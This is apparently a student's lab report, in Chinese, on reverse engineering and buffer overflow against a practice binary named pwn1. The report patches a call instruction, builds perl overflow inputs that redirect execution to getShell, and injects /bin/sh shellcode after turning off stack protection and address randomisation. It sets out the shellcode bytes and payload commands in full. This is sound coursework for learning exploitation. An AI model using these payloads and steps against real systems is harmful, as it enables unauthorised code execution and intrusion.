2019-2020-3 20175324王陈峤宇《网络对抗技术》Exp1 PC平台逆向破解

1、逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

--

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:

运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。
--

1.2 基础知识

该实践需要同学们

熟悉Linux基本操作
能看懂常用指令,如管道(|),输入、输出重定向(>)等。
理解Bof的原理。
能看得懂汇编、机器指令、EIP、指令地址。
会使用gdb,vi。
当然,如果还不懂,通过这个过程能对以上概念有了更进一步的理解就更好了。

--

指令、参数

这些东西,我自己也记不住,都是用时现查的。
所以一些具体的问题可以边做边查,但最重要的思路、想法不能乱。
要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
操作成功不重要,照着敲入指令肯定会成功。

重要的是理解思路。

看指导理解思路,然后抛开指导自己做。
碰到问题才能学到知识。
具体的指令可以回到指导中查。

2、直接修改程序机器指令,改变程序执行流程

知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

学习目标:理解可执行文件与机器指令

进阶:掌握ELF文件格式,掌握动态技术

 

反汇编查看函数地址:

对pwn1文件进行反汇编,会得到如下结果

我们通过翻页找到foo函数,如下图所示:

080484b5中的指令为call 8048491,这条指令将调用位于地址8048491处的foo函数;

我们可以看出其对应机器指令为“e8 d7ffffff”。

接下来我们用vi打开pwn1

输入%!xxd将显示模式切换为16进制模式

接下来输入/e8 d7查找所需要修改的指令(空格不能忘记)

按i进入插入模式,将d7修改为c3

 

输入%!xxd -r转化为原格式,wq退出

再次反汇编pwn1查看指令是否成功修改

运行pwn1,发现实验成功

3、通过构造输入参数,造成BOF攻击,改变程序执行流

知识要求:堆栈结构,返回地址
学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
进阶:掌握ELF文件格式,掌握动态技术

 

 

用gdb 20175215pwn1调试程序,输入有规律的字符串,发生段错误产生溢出

 

使用info r查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址,

接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。

 

 由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以我们需要包括这样字符串的一个文件。

通过输入perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input来生成这样的文件。

然后使用vim查看input文件的内容是否如预期。

通过管道符|,将input文件作为pwn1的输入。

实验成功

 

4、注入Shellcode并执行

 

 

shellcode就是一段机器指令,实践采用老师推荐的shellcode,如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


通常shellcode的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)。

在实际的应用中,凡是用来注入的机器指令段都通称为shellcode。

 

 

首先,我们使用apt-get install execstack指令安装execstack软件包。

在su赋予权限时,出现鉴定失败

利用sudo passwd root重新配置密码

 

输入以下命令进行提前设置:

execstack -s pwn1    //设置堆栈可执行

execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1

more /proc/sys/kernel/randomize_va_space  //查看内存地址随机化的参数
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space

 

利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。

在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址。

输入以下命令:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn1

然后再打开一个终端,进入gdb调试,输入ps -ef | grep pwn1,发现进程号为7657

输入attach7657对该进程进行调试,输入指令 disassemble foo 对foo函数进行反汇编

输入break *0x080484ae设置断点,查看注入buff的内存地址

 

紧接着回到第一个终端敲击回车,再在调试终端输入c继续

输入指令 info r esp 查看查看栈顶指针所在的位置,并查看改地址存放的数据

可以看出地址应该修改为0xffffd2fc+0x00000004=0xffffd300

修改攻击代码

perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > shellcode

输入(cat shellcode;cat) | ./pwn1,将其输入到程序中

攻击成功

以上实践是在非常简单的一个预设条件下完成的:
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境

 

 

5、所遇到的问题及其解决方法

su赋予权限时。若之前未设置密码,需要输入sudo passwd root重新配置。

使用vi编辑器时,若按esc健无法输入指令可以按shift+:输入。

实验中有不少程序未安装,应采用sudo apt-get install 程序名 一一安装。

 

6、心得体会

本次实验花费了我大量的时间,让在我对缓冲区溢出原理有了清楚的认识,加深了我对缓冲区溢出的理解。

看着老师在视频里做得很顺利,但是自己在实际操作中却困难重重,有很多指令都要自己去查阅,遇到一些

视频中未出现的问题也要自己解决,我充分认识到了巩固基础知识的重要性。

 

posted @ 2020-03-05 17:05  2017532王陈峤宇  阅读(179)  评论(2编辑  收藏  举报